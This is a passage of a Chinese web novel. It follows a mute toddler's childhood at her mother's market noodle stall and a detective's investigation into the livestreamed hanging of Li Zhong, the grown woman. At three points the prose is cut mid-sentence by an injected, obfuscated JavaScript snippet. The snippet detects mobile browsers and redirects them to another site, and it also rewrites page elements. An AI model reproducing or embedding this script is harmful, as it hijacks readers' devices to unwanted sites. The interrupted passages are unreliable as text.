这是从未见到的视角。 你终于松开老陀的头发,攥住了他的耳朵。 那些漂浮在池塘水面的棉花糖、糖葫芦、气球、糖人,你伸手就能够着,随便你拿,随便你玩。你的小手从来没有拿过这么多东西,从没有遇到“先吃哪一个”的困难选择。 回到摊位,你母亲忙中瞥了你一眼,皱眉道:“给她吃那是浪费钱。老陀,我可不会出这个钱的。” 老陀伸手小心翼翼地把你唇角的糖渣擦掉,笑嘻嘻道:“我小时候我妈要是愿意给我买一根糖葫芦,说不定我现在还愿意回去看她一眼。可惜啊……” - 你母亲可顾不上很多年以后的事,现在她要挣钱,多挣钱,这样才能把这个家顶起来。 只是无聊的人很多。花一块钱吃碗粉,还要装出一副救世主的模样问东问西,随意评判。 “人啊,不信命不行。我们村里有个女的,也跟你一样怀了龙凤胎。两个娃倒是都活下来。可他们家的人不是出车祸就是摔断腿。倒霉事一件连着一件。” “我们那有种说法。龙凤胎里的‘凤’体质差,难养活。因为‘龙’会在娘肚子里抢营养。可你这是反着来的。龙死了,凤活下来了。还真是奇怪。” “你闺女快一岁了吧。咋看着呆呆的?连爸爸妈妈都不会说吗?总不会是个小傻子吧?” 彼时,你正坐在脏兮兮的地上看连环画,明明旁边有凳子,还有老陀的怀抱。 要说看,也不过是把翻书当做一种好玩的事情,一不小心,脆弱的纸张被你撕破了。你茫然抬起头,看向老陀。老陀摸了摸你的头顶,拿出一支笔,沿着书页裂缝画了一只鳄鱼。 书页裂开,鳄鱼就张开了大嘴。活灵活现,有趣极了。 你玩累了,把书往老陀怀里一丢,而后直接躺到地上,任凭蚂蚁爬上你的肩膀你的脸。 那些嘴碎的人见到这一幕,立马叫得更欢了,“看吧看吧。就是个小傻子。” 你母亲黑着脸正准备把你从地上提溜起来,老陀这根胖乎乎的电线杆往下一倒,倒在你的身旁,和他的小小鸟躺在了一起。 “来啊来啊,都来躺这里。躺得人多了,不愿意躺的人就是傻子。” “重重是小可爱,老陀是老可爱。愿意躺这里的都是最可爱的人。” 他叫着,喊着,肆无忌惮,那些人骂骂咧咧赶紧躲开,生怕沾染了“疯病”。 你从脸上捏下一只蚂蚁,放到老陀脸上,嘿嘿笑了起来。 - 你母亲的生意还算凑合。不出摊赚不到钱,出了摊好歹有点微薄收入。 摊位倒是稳定了,没过几天大集上开始谣传你母亲和老陀有一腿。 老陀为什么把自己的地盘让出一半来? 老陀把你抱在怀里爱得跟亲闺女似的,凭啥? 但凡有人说话难听,老陀总站出来为你母亲说话,如果两人之间没点弯弯绕绕,又凭啥? 如果不是你母亲做了点啥,老陀能这样吗? 女人嘛,还能做什么? 那个女人一边卖羊肉粉,一边还卖自己的肉呗! 你母亲得知这一谣传时,刚被一个男人摸了屁股。 对方不是偷摸,是正大光明地当众摸,就在她弯腰收碗筷的时候。 她惊怒质问,对方笑嘻嘻着,“装啥呢?你又不是没让老陀摸过。我那边也能让你摆摊,位置比这里更好,咋样?跟我走呗!” 这人当场被愤怒的老陀开了瓢。 在头上。 过了一会,你母亲把老陀拦住,自己搬了把椅子抱着你坐在那家小吃店门口骂了整整一个下午。 谁敢动她一根手指头?她敢拼命,其他人敢吗? 你从蹲在电线杆看风景的小小鸟,变成一只呆傻的小鹌鹑,窝在母亲怀里一动也不敢动。耳朵里全是日爹骂娘的少儿不宜。 母亲身上沾染的腥膻味,从鼻孔钻进你的喉咙,再窜入你的胸腔,将你夹裹得无处可逃,昏昏欲吐。 你母亲骂上雕花,脏得格外非凡。 她一战成名。 - 一岁生日时,你外婆来了。老太太在你母亲的摊位上帮忙了一天,之后还带你去洗了个澡,买了身新衣服,最后给你小小的手腕上戴上一对银镯。 你母亲背对着她哭,你外婆则是看着你哭。 你外婆走后,你母亲在你新衣服的兜里发现了一百元。 那晚,她半夜才回来。回来时身上又是一阵浓重的火纸味。 - 你和你父亲长得非常像,模样周周正正。唯有那双眉眼和你母亲如出一辙,一笑就弯了,像一对月牙。 只是你母亲不爱笑,你也不爱笑。 不知道为什么你两岁了还迟迟不肯说话。任凭母亲怎么教你,你总紧紧闭着嘴巴,一个字也不吐。逼得急了,你就开始撇嘴哭,可即便哭也不像小时候那样嚎啕大哭,而是无声地流泪。 时间长了,人们来买粉的时候总会把同情的目光投向你,说龙凤胎果然不吉利,然后让你母亲免费多加点羊肉。 有人当着你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284752|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面跟你母亲嘴碎,“现在虽说计划生育抓得紧,你这头胎是个闺女还是个傻子,应该可以申请到二胎准生证,趁着年轻再生个儿子呗。” 你母亲还没说什么,老陀首先不乐意了,“重重只是语迟。爱因斯坦说话晚,不耽误他是个伟大的科学家,左拉说话也晚,不耽误他是个大作家。” 他翻出一本泛黄的《娜娜》,笑嘻嘻递过去,“你咋什么都不知道,还真是可怜啊。来,看点书。哦不,就算你看了也白搭,人不行,看啥都没用。” 那人被臊得骂骂咧咧走了,你母亲转脸看向你,问:“老陀,她真不是傻子?” - 没过多久你奶奶来了一次,老太太一来就坐到凳子上说自己饿死了。你母亲给她做了一大碗羊肉粉,她看了一眼撇嘴说肉太少了。你母亲又给她浇了一勺肉,她这才满意。吃饱喝足,她朝你招了招手,用油乎乎的嘴说:“叫奶奶。” 你只是抬头看了她一眼,低头继续看连环画。 你奶奶叹气,“活下来的也是个小傻子啊。” 过了一会,嘴角有些压不住,“还好是个小傻子。” 你母亲知道她什么意思,她拿起抹布,朝空中使劲挥舞着,“死苍蝇,臭苍蝇,有点香味你就撵来吃吃吃。吃不死你!” 你奶奶差点被抹布糊了一脸,她没趣地站起来,硬着脖子说:“过几天你几个姨要来赶集,到时候她们来你摊位上吃饭可别要钱啊。” 当晚,你父亲再次因为喝多了耍脾气。 你母亲发了很大的火。 你默默坐在阴暗处,一瞬不瞬地看着你母亲的嘴巴越骂越大,大到能把房子吃掉,看着你父亲的眼睛越吵越红,红到可以喷出火来。 突然这火烧到你的身上。 “她为什么还不说话?你这个当妈的怎么带的?” “她是我一个人的娃娃吗?你成天只知道喝酒,你有挣一分钱吗?有带过她一天吗?” “咋?你看我现在不挣钱瞧不上我了是吧?你又有多大的本事?不就摆个摊吗?你知道什么是矿床矿脉吗?你知道什么饼状构造脉状构造吗?” “外面的人怎么说你你知道吗?说你是个恶婆娘,说你跟人鬼混!我有说过你半个字吗?” 喝醉酒的你的父亲像蛰伏在幽深森林里的怪兽,一言不合就去扑出来把人咬死。 你母亲哭得上气不接下气,说:“我跟谁鬼混了?他们诬陷我,欺负我的时候你在哪?你还算男人吗?说好的只用我顶一年半载!两年了!你让你女人天天在外面挣钱,你在家不仅吃闲饭,还喝大酒骂我?” “要不是你和你妈撞到我的肚子,我儿子会死吗?如果他活着,我们全家就不会这么倒霉!” …… 你默默站起来,默默走出去,把门关上,然后用小手敲响了隔壁王翠莲王阿姨家的门。 小小的人儿被热情迎进去。你乖巧地坐在凳子上,吃着王阿姨给的糖果,看着对面黑白电视里的《正大综艺》。 电视里那位年轻外景女主持人游走在世界各地。她在笑,大笑,在惊讶各种美景美食,在热情邀请大家有机会都出来看看。 你不懂,但你觉得很有趣。 你母亲没过多久就来找你了。她红着眼睛朝王翠莲道谢,然后斥责你乱跑,她佯装要打你,这次巴掌却轻轻落在你身上,轻得像安抚。 王翠莲担忧地看着你说:“要不带重重去医院看看?” 你母亲叹着气,“哪里有这个闲钱啊?!” 王翠莲叹了口气,“我这里还有一点。你先拿去用。” 你母亲有点吃惊,“王姐,你人怎么这么好?” 王翠莲转脸看着我,“我就是觉得这孩子……挺可怜的。” - 李重啊。 要说你这辈子最讨厌的两个字,除了“可怜”没有别的。 后来,每当你听到这两个字,脑海里就跳出另一个歇斯底里的自己—— -草!凭什么可怜我?你们又比我好到哪去? -你们不也吃五谷杂粮,有七情六欲?不也从出生就要走向死亡?想要的得不到,得到了不珍惜,珍惜的随时又会失去!如果非要说可怜的话,那我们就是平等的可怜。 -所以,可怜的不是我! -是人类!人类! - 1991年的你,缓缓仰起小小的头颅,看着王阿姨满是怜悯的脸,笑了,把眼睛笑成了两朵月亮。 11. 第11章 可怜女人。 可怜女人这四个字在案件发生后很快上了热搜。 死者李重,样貌不差,能力不差,工作不差,却因为一场婚姻被“变态残暴”的老公直播吊死。这是什么血仇大恨才让他下如此毒手?是什么过不去的坎儿让这样的事发生在青天白日下? 这难道就是传说中的私刑? 方月华是不是认为自己才是李重的主人?只有他才能决定她的生死? 那些看了视频的人们对这个世界产生了深深的怀疑,三观震碎不说,还陷入恐惧可怖的深渊中,怎么爬也爬不出来。他们认为自己得了创伤应激障碍,吵着要去找方月华索要赔偿。 前段时间高调签约方月华的MCN机构“蚁后”也迅速做出回应:即刻解除与方月华的合作关系,并根据合同约定要求方月华赔偿250元。 二百五? 像个笑话,是个笑话,但一点也不好笑。 鉴于直播杀人的冲击力过大,竟然没有几个人骂“蚁后”之前为虎作伥帮坏人,之后见风使舵蹭流量,反而纷纷去其账号下留言追着骂方月华。满屏都是让他赶紧自行吊死偿命。 市设计院也发文表示沉痛哀悼。悼文细数李重在职期间对单位的贡献。她主持参与了数十个项目,她为单位创造了上千万的产值,她得到业主的诸多赞许,她踏实肯干,团结同事,敢做敢拼,失去她是所有人难言的痛苦,希望她在另一个世界得到安宁。 李重有没有得到安宁谁也不知道,市设计院洗脱了压榨员工的罪名,它获得了安宁。 与此同时,人们纷纷前往文汇花园,将李重生前最喜欢的淡黄绣球花摆在大门外,白色蜡烛摇曳着微弱的光在人间制造了一条长长的银河。 过去的三十五年,她像一粒沙,一滴水,一个字,和其他人一起默默无闻、可有可无地组成了人类群体,写就了宇宙诗歌。 现在她死了,却也活了,她终于站到了所有人的面前,成为独一份的,可以被看见的“人”。 她真真切切触动了人们不少但也不多的怜悯之心,她理所当然成了“可怜”两字的代言人。 她死了,她毫无反驳之力。 于是她成了这个世界上最可怜的人。 - 陈秋池熬了一夜,脸色越发苍白。 从李重7月14号消失,到8月5号死亡,这二十天的时间里她到底藏在哪?是主动消失,还是被动拘禁? 如果一个人刻意隐藏行踪,哪怕运用再高超的反侦查手段玩消失术,找到他也只是时间问题。可李重只是个普通人,她怎么可能消失得无影无踪? 并且,24号警方采取大规模搜索后,这个案子立马成为舆论热点。各种真假信息四面八方扑过来,文汇花园门口的主播们一夜之间冒头,让案件全方位暴露在社会大众的视野。尤其近两年性别对立、恐婚恐育都是热点话题,这个案件虽然具有天然的热度,但这样的舆论势头远远超出想象。 陈秋池查了舆论传播路径,发现几个疑点。方月华报警4小时后,有人就在网上发文说文汇花园出了事。这个账号是新号,发完后@好几个大V,没翻出什么浪花,第二天就销号了。 24号那天,警方刚到小区就有人发照片去各个平台,并且加上了‘杀妻’、‘分尸’这样的符号字眼,于是讨论度开始攀升。这也属正常。但到了当天晚上6点,营销号同时出动爆料,这个案件立马上了微博热搜。她去调查了几个源头营销号,他们被提前收买了。 有人在背后推波助澜。 且对方非常小心。联系方式、付款方式都极为隐秘,只是目前还没有追踪到有效信息。 方月华对此自然否认,还说自己这段时间所有的行程都暴露在大庭广众之下,或者直播镜头前,随便警察查,他都问心无愧。 至于吊死李重的麻绳的的确确是方月华提前购买,快递店的监控视频也显示,是他亲自去取的快递。方月华对此的解释的是他的手机李重可以随便碰,随便用,知道他的开屏密码和支付密码,而且家里的快递只要他在家都是他去拿的,所以这并不能证明所谓的“凶器”是他提前谋划购买的。 陈秋池盯着面前的现场照片。麻绳一头被紧紧绑在车后杠,另一头绕过两米高的消防管绑在李重的脖子上。两端都是最为结实的绞刑结,这种绞刑结在过去是惩罚身份低贱的平民,吊死示众,以儆效尤。现在则用来拖曳重物和高空吊物。 不管是谁谋划吊死李重,采用这种绳结方式,一定是抱着让她必死的信念。 南一彤之前问她,这种死法痛吗?这种绳结越挣扎越紧,死得也越痛越剧烈,从某种程度上还没有直接斩首来得痛快。 说到南一彤,陈秋池又想起李重写的诗,还有不知是谁写下的“我的小可爱”。要说它很重要,可它像谁随手写在一张废纸上,随时可以丢掉。若说它不重要,李重为什么还要留着它?还要在纸的背面写下关于“你我他”的怪诗? 苏鹤打着哈欠敲门进来,两手一摊,“真是奇了怪了。我把文汇花园周边所有路口的监控视频又查了一遍,甚至还往更远范围更多角度去查,除了李重走出小区的那一瞬,就再也没有发现她的身影。她难道会隐身术?” 陈秋池皱起眉头,“走,再去趟文汇花园。” - 文汇花园真是命运多舛。 早些年它是市电机厂所在地,建国后就成了市轻工业发展的典型代表,繁荣了几十年,结果顶不住国外优质产品的侵扰,1996年全市国企改制时,它直接被其他大厂兼并了,被迫从市中心搬到百公里外的乡下。 地产商在原厂宿舍的基础上竖起来十几栋楼,电机厂工人以折扣价买到手,前后左右不是行政机构就是医院学校,刚开始确实颇为风光。 可随着时间流逝,它在城市化浪潮中迅速衰老、衰败,从香饽饽变为城市伤疤。它又小又窄,投入产出比太低,即便位置好,地产商也不愿出巨资拆迁,政府没办法只能出点小钱把沿街的破损外立面修修补补,欲盖弥彰地把其消隐在城市的繁荣中。 现在,它消隐不了了。 社会舆论制造的一波又一波浪潮将其推到公众面前。这次有人直接死在里头,且以直播的形式,文汇花园光速窜到了浪头上,光腚出圈,想遮掩都遮掩不了。 今天好不容易艳阳高照,可业主和租户们还是觉得头顶乌云,凄凄惨惨,冷冷飕飕。那个叫李重的女人的冤魂说不定正沿着自来水管、污水管、电线网线四处游走奔啸,说不定正想找个替死鬼顶替她下地狱呢。有人甚至等不及天亮,昨晚连夜出走,要么借住亲朋家,要么去住酒店,剩下的则关上窗帘,关紧窗户,闭门不出。 陈秋池注意到小区对面房产中介门口墙上贴了张巨大的白纸,用红字写道:“超级凶宅,超级低价,欢迎胆大者看房。” 很多人正拿着手机拍摄,一个个嬉皮笑脸,不嫌事大,想必一会儿全网就知道了。 小区门口依然堵得人山人海,有送花过来祭奠李重的,有带着团队在这里扎根实时直播的,还有人试图翻墙闯入被保安抓住。双方发生争执推搡,继而又引起众多人围观,派出所的人正在焦头烂额地处理。 一个个明晃晃的手机镜头就像全世界插在这里的锚点,以此为中心,画面、声音、争论、情绪等等,任何细枝末节将以意想不到的速度迅速在全网蔓延,铺开,继而感染所有拥有手机的人。距离不再是问题,时间也不会桎梏,这件事会像病毒一样迅速复制,分化,传播、然后变异。 章策是文汇花园所在辖区派出所的,他见到陈秋池,立马小跑过来,擦着额头的汗道:“陈组长,物业的人已经把资料准备好了。我带你们进去。” 围观的人见警察出现,立马叫起来。 “是警察!他们又发现了什么?” “要是他们有能耐,早把方月华那个人渣抓起来判死刑了,非要等到李重被吊死才抓他,都怪他们。” “是啊,方月华一看就不是好人,早都应该把他抓起来。留着他在外面干嘛啊,把整个小区都毒害了,所有房子都成了凶宅,以后还咋卖?” …… 章策拍了拍快要炸毛的苏鹤,“这种话我从昨天听到现在,一天一夜,耳朵都快磨出茧子了。” 苏鹤脸皮涨红,忍了半天,只能加快脚步,跟上陈秋池的步伐。 - 物业将文汇花园的业主以及租房人口资料全摆了出来。 “警察同志,咱们这案子啥时候能有个结果啊。从7月17号到现在,我们小区一直不得安宁。死了的人当然值得同情,可活着的人还要好好活着。我们物业压力真的好大,临时又聘请了十几名保安,沿着围墙24小时值日,千防万防,还是防不住有人翻墙进来直播。” “小区业主们也气得要死,我们小区本来房价就低,现在怕是更难卖出去。大家过去都是电机厂的老职工,为厂子付出一辈子,现在可好,养老房也住不成了,你们说,那个方月华是不是得赔偿大家的损失?” “我们物业现在收的物业费还是按照九十年代标准,这么多年都没涨,主要靠帮业主出租房子挣点钱,现在谁还愿意租这里,就是白送也租不出去。唉。” 物业逮住陈秋池等人赶紧一顿诉苦,可怜兮兮地求他们想想办法。 陈秋池抿了下唇,今早出发时江队就把她叫过去给了六个字的指示:务必尽快破案。要说局里领导给的压力是1的话,案件关联人砸过来的压力则会膨胀到十倍、百倍甚至千倍。 她下意识地摩挲着右手手腕,隔着袖口感受里面传来的温热。 章策是个急性子,熬了一夜实在听不下去这些牢骚,抢在陈秋池前面道:“陈组长来这里就是为了尽快破案,现在我们派出所也加派了人手,在这里维持秩序,并劝说大家不扎堆不围堵,咱们还是赶紧干正事,案子破了大家都有好日子过,你们这些同志要有大格局……” 被迫瞬间拥有大格局的物业只得带着陈秋池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284753|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一行挨家挨户查。 - 若是小区外围监控没有捕捉到李重的身影,有没有可能那个穿着黄色裙子的“李重”是假的?有人和她一样高,一样胖瘦,发型也一样,有相同的黄色裙子,从背影看,与李重别无二致?相似程度高到连和李重生活了十年了方月华也会认错? 当然,也有可能不是他认错,这一切压根就是他导演的,所有人陷在他提供的证词里,下意识认为李重已经离开小区。其实真正的李重还在小区某个角落,听着外面一声生呼唤她的姓名却无法张嘴无法回应,直到5号那天她被从阴暗处悄悄拽出,套上那个绞刑结,然后死在了直播镜头前。 即便方月华把李重藏了起来,他又是从哪里找来和李重如此相像的女人搞出这样一道烟雾弹呢?这种可能性几乎为零。 再说,除了方月华外的人,南一彤等和李重相熟的朋友也认为那道黄色背影是应该就是李重。 可以肯定的是那道黄色背影再也没有回到文汇花园。但二十天后的李重又是从哪里冒出来的呢? 坏就坏在文汇花园太老了,监控摄像头只有大门口那一根独苗,不然也不至于一点线索也没有。如果外围满天的摄像头都查不到从文汇花园走出去的李重,那就只能把文汇花园再翻一遍。 小区共13栋楼,目前有一千余人住在这里。 警察敲门倒是把好几个装死欠租的揪出来了。隔壁布料市场有些老板贪图便宜把文汇花园的房子当做仓库,里面塞满了易燃的布料。这下消防部门也有事要做了。除了这些,就是一堆无照经营的药贩子窝点。市肿瘤医院就在小区隔壁,来这里求医的病人就是他们最近的市场客源。 一行人连续查了几栋楼,一无所获。 陈秋池站在李重生前住的11栋,仰起头,榕树的巨大伞盖将楼栋门口遮得严严实实,顺着枝条往下看,蟒蛇一样粗壮的根系不知何时已经掀翻水泥树池,窜到了马路上……它们是否看到李重在二十天前的那个早上,从楼栋走出来的沉郁身影?是否看到三个月前的某个半夜她下楼抽烟时被烟雾笼罩的愁容?是否也看到她刚搬来时满心期待的喜悦? 如果人生可以倒叙该多好啊。不,正叙或者倒叙的人生都不要该多好啊。 肉!体不存在就无所谓痛苦不痛苦。 “组长,”苏鹤轻声喊了下,“要上楼吗?” 陈秋池收回酸软的心思,点点头。 走到三楼时,她发现302大门缝隙处躺了好多张广告,像是很久没有住人的样子。 物业不以为意地说:“这是一个短租的,从六月份到八月份,就租三个月。我们小区旁边有个肿瘤医院,很多病人家属会租这里给病人做饭。这里租金便宜嘛,再说治疗癌症是持久战,总不能一直住酒店。” “前段时间敲门查问时,也是没人在家。给租客打电话,对方称她陪她老公正在隔壁医院化疗呢,所以也没好多问什么。” 陈秋池问:“已经搬走了吗?” “应该没有。押金还没退。” 这家房东在国外,留了把钥匙在物业公司,让他们帮忙出租。只不过最近文汇花园出事了就没人愿意租这里,所以下个月的租客还没着落。 几人正交谈着,租客恰好回来了。 陈秋池一眼看到她一侧肩膀上绑了一圈黑纱,双眼哭得红肿。物业也看到了,一时间不知道该怎么开口。 女人瞧见一群人站在家门口,愣了愣,随即有气无力地对着物业说:“刚好。省得我去找你。我能不能提前退房?押金全退给我行吗?” 她看起来十分年轻,长发被夹子绾在脑后,鬓角乱糟糟的,嗓音也异常沙哑。 物业有些迟疑。 女人立马眼泪往下掉,“他死了!死了!” 说着她颤抖着手把门打开,走进去从柜子里拿出一堆药,狠狠往地上砸。 “买了这么多药,全是浪费。全都没用。我也希望我们能继续租下去,可是他死了……死了!”说完,一屁股坐在地上哭得起不来。 物业见状,满脸尴尬,咕哝着说这房子不是我的,我做不了主,等他问问房东再说。 就在这时,这女人突然抬起头来,流着泪问:“你们是警察,医院骗人你们管不管?他们说只要吃了这个药,打了那个针,就能活多久,可我老公还没坚持两个月就死了。” 没等回答,她目光幽幽,“算了。这个世界上不公平的事太多。要是你们都能管的过来,就不应该叫警察。应该叫神。” 满地的药盒上写着西罗莫司、安罗替尼,伊马替尼、达沙替尼等等陌生又恐怖的字眼。 陈秋池走上前去,低声说: “请您节哀顺变。” 女人抬起泪眼看着她,嘴唇哆嗦地说不成话。 “不过,您丈夫到底得了什么病?我看这些药盒,有用于肾移植的,有治疗肉瘤的、肺癌的……” 陈秋池停顿了片刻,从发紧的喉咙里挤出剩下几个字,“还有白血病。” 12. 第12章 女人名叫王安娜。 此刻这位不幸的女人面对警察的质问,仰起头,露出悲怆表情,“您是没有至亲至爱的人得这种天杀的癌症,不知道这样的病有多折磨人。我老公最后是被生生憋死疼死饿死的啊,他的肺已经完全被癌细胞吃掉,胸骨、头骨、脊柱上全是肿块,疼得他最后连上五针吗啡也压不住。胸腔内所有的器官也转移了,胸水怎么抽都抽不完,腹水把他的肚子撑得跟怀孕的女人似的,涨得他什么都吃不下喝不了……您还要问我他得了什么病?那么多坏人为什么不得病,偏偏他这样一个老好人得病?还得了这样折磨人的病。要是他必须死,能不能给他一个痛快,让他死的轻松点?” 她越说越冷静,越冷静越显得可怖,整个人摇摇欲坠,几欲崩溃。 陈秋池有点恍惚,似乎这样的场景在梦里出现过,也是这样的歇斯底里,也是这样的痛不欲生,眼泪已经是最浅显的表达,深入骨髓的悲痛让人整个身体不断下沉,下沉,灵魂趁机抽离,轻飘飘地飞起来,匍匐在空中俯视着自己。这是灵与肉的分割,麻木又游离。 物业生怕再出事,赶紧让身边一个女同事过来安抚王安娜,并当场答应会把押金退给她。人家都这么可怜了,这两三个月全在医院进进出出,哪有时间搞东搞西,肯定没啥问题。 陈秋池往后退了两步,下意识地再次抓住右手手腕,那处微不足道的温热一点点浸润她的指腹,胸口的浊气这才渐渐排出去。 “你们还想问什么?这些药是我帮在医院认识的其他病友买的,还没来得及给人家拿过去。”说到这里,她冷笑起来,“人只有得了病才知道谁是真心对你好的。什么兄弟姐妹父母姑姨,没出事的时候一家亲,一出事都跑得远远的,生怕你借钱。还劝你说得了这种病早晚是个死,何必最后搞得人也没了钱也没了。所以只有得了病的人才能互相理解支持……” - 从楼上下来,物业一脸无奈地叹气。想发牢骚说又损失几千押金,但看了一眼面容苍白的陈秋池只得把话压下去。 陈秋池把苏鹤叫到一边,低声道:“你派个人把这个王安娜盯住。” 苏鹤一愣,随即点头。 回到局里,调出王安娜的档案。 王安娜,1991年生,上海人。 她是半年前从上海搬来新安市,随即认识了丈夫严庄,并与其结婚。谁知道结婚才几个月丈夫就因病去世。任何人听到这样的事情都得唏嘘一会,感叹一句:命运不公。 苏鹤看了半天也没看出问题。且她的悲痛不是装的,除非她演技高超,丈夫的病一查便知,也没作假的可能。 “肺癌的治疗手段比以前好太多了,做了全套基因检测后,针对突变的基因都有针对性的靶向药可以吃,而且一线二线甚至三线药物有很多选择,还可以进组参加临床试验,提前使用最新的药物。也就是说只要按时服药,定期复查,只要不是终末期的肺癌,一般生存率还是比较乐观的。”陈秋池耐心道。 苏鹤眼前一亮,“也就是说这个王安娜有可能提前知道严庄的病情,即便知道他没几个月好活了,还愿意和他结婚……那万一人家是真爱呢?” 陈秋池扯了扯嘴唇。 什么是真爱?即便有真爱,也往往只存在于一瞬间。它夹杂在人生的洪流中,交裹于人性的复杂中,难以持久,更难清澈,也非常难以分辨。 比如方月华。他不知道什么是爱,却以为嘘寒问暖就是真爱,把爱挂嘴上就是真爱,只要我觉得我爱你就是真爱。事实上,他只是在表演真爱,呈现真爱的表像,他内心空洞冷漠,一旦发现李重脱离她的掌控,不再配合他表演,就会歇斯底里,就会演得更疯更夸张。 至于这个王安娜,要么她另有所求,所以无所谓对方死得有多痛苦,要么低估了自己对这种魔鬼病痛和惨痛离别的应对能力,即便现在看起来痛不欲生,说不定很快就会忍不住掀篇,迈向新的生活。 陈秋池收回涣散的思绪,“那些药可都不便宜。像沙达替尼是治疗白血病的,一盒药三四千,她那里可是有十来盒。随便算算王安娜刚才翻出来的药就值五六万。这些药还不是说随随便便就能买到。必须在针对大病和慢性病的特殊门诊登记报备了,才能用医保报销购买,不然就要自费。她这些药到底是从哪里买的?她为什么愿意帮别人买这么贵的药?就一点也不担心别人还不上?” 苏鹤越听嘴巴长得越大,“组长,你为什么对这些药,这些癌症,了解得这么清楚?” - 陈秋池去了趟物证鉴定室,回来发现组员们一个个难得乖巧地拿着筷子围坐在会议桌前,桌上摆着大大小小几十个餐盒。她一眼认出这是她最爱的福春茶楼的点心。 “组长,刘队请大家吃大餐,快来。”苏鹤起身喊道。 陈秋池微微皱起眉头,“我还不饿,你们吃吧。” 苏鹤赶紧拦住她,“组长,你一天没吃饭了,昨晚还熬了个通宵……这哪能不饿啊?” 他啪啪掀开所有盖子,香味直接窜出来,小伙伴们都叫唤起来,说组长不开动他们不敢吃。 陈秋池没办法只得坐下来。她人长得秀气,吃饭也秀气,其他人都是狼吞虎咽,边吃边说,只有她微微垂着头,细嚼慢咽。 苏鹤边大快朵颐,边感叹领导大方。方才副队长刘波把他叫过去,问了几句案情进展后就给他转了一千块钱,让他去买富春茶楼的点心给大家伙加餐,还专门叮嘱一定要多点两盒马蹄糕。 领导可真会心疼人,知道大家伙加班辛苦。 正吃着呢,苏鹤突然想起有一次看见刘副队长气急败坏地从组长的车里跳出来,紧接着组长开车疾驰而过,车轮溅起的水花直直射了人家一身……这与组长平日里沉稳冷静的模样大不相同。关键当时湿了身的刘副队长竟然在震怒之后露出无可奈何的苦笑,而后又开心地吹着口哨施施然走了。 就很离谱。 这时,他抬眼看见陈秋池夹了一块马蹄糕放进了碗里。 - 吃饱喝足,两人又去了一趟唐继业的工程公司。 唐继业很多年前抱上一家上市公司老板的大腿,做了不少酒店室内装修工程,赚了不少钱,只是后来靠山倒了,接的工程再也没超过五百万,方月华认识唐继业的时候正是他开始走下坡路的时候,方月华认识的人多,唐继业有施工资质和工队,两人一拍即合,合股出力,一起挣钱。 刚开始几年方月华介绍过几个不错的项目,唐继业赚到了钱,偷偷把钱转走填补他自己的负债窟窿,只给了方月华小几万块中间费,后来,方月华就不再给他介绍项目,两人关系时好时坏,直到去年2022年的1月份方月华再次找上门,说要介绍一个大项目给唐继业。 “唐继业现在欠了一屁股债,官司缠身,正缺钱呢,昨天也开了直播蹭流量。”苏鹤一脸无语,“说方月华骗了他很多钱,天天喊他唐哥却从没有把他当兄弟看,说自己是世界上最傻的冤大头,还说幸好自己是个大傻子,方月华问他要钱他都黑了,不然被吊死的会是他……在线人数还不少,挺多人给他打赏的。有些人就是又闲又爱投放同情心。” 陈秋池:“很正常。不管是求名求利,求认可度,求归属感,或者满足高高在上的救世主心理,总要有所求才能好好扮演一个人。” 苏鹤:“组长,那你求什么?” 陈秋池看向车窗外,“人的存在就是最大的价值。” 李重已经死了,已经不存在了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284754|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她关联的人们,依然围着她的尸体狂欢,试图攫取她最后的价值,和她无关联的人也把她当做茶余饭后的谈资,任意咀嚼,随意评价。死了的李重就是想阻止也阻止不了。 所以,活着,才应是最该求的。 - 苏鹤刚把警车拐过街口,就看见乌泱泱一群人直直朝警车冲来。 “什么情况这是?”苏鹤惊得立马刹住车。 这群人手上聚着巨大的横条白布,上面赫然写着十个大字:“唐继业欠钱不还王八蛋”。不过几秒钟,他们便围住了警车。 有人甚至拍打着车门,高喊着:“下车下车!” 这群人龇牙咧嘴,面容狰狞,陈秋池瞬间有种丧尸世界照进现实的错觉。她下意识地按住正准备下车的苏鹤,“赶紧叫人过来支援!” 苏鹤连忙呼救,陈秋池伸出手刚把门开了条缝,就有人从外面猛一下拽开门,好几只手已然伸进来抓住了她的胳膊…… “你们必须把方月华放出来!他不能住进监狱享清福!” “必须放!必须放!” “唐继业说他的钱都被方月华骗走了,你们不把方月华放出来,谁来还我们的钱?我们这些供应商的命也是命啊,你们警察不能不管。” 陈秋池陷在人群中,就像被汹涌江面推来卷去的枯叶,张张愤怒而陌生的脸围着她……耳朵里嗡嗡隆隆,一张一合喷着秽语和指责的嘴巴像无数个深渊要把她吞噬。 她猛一抬眼,一眼抓住了躲在对面办公室帘子后的唐继业。 - 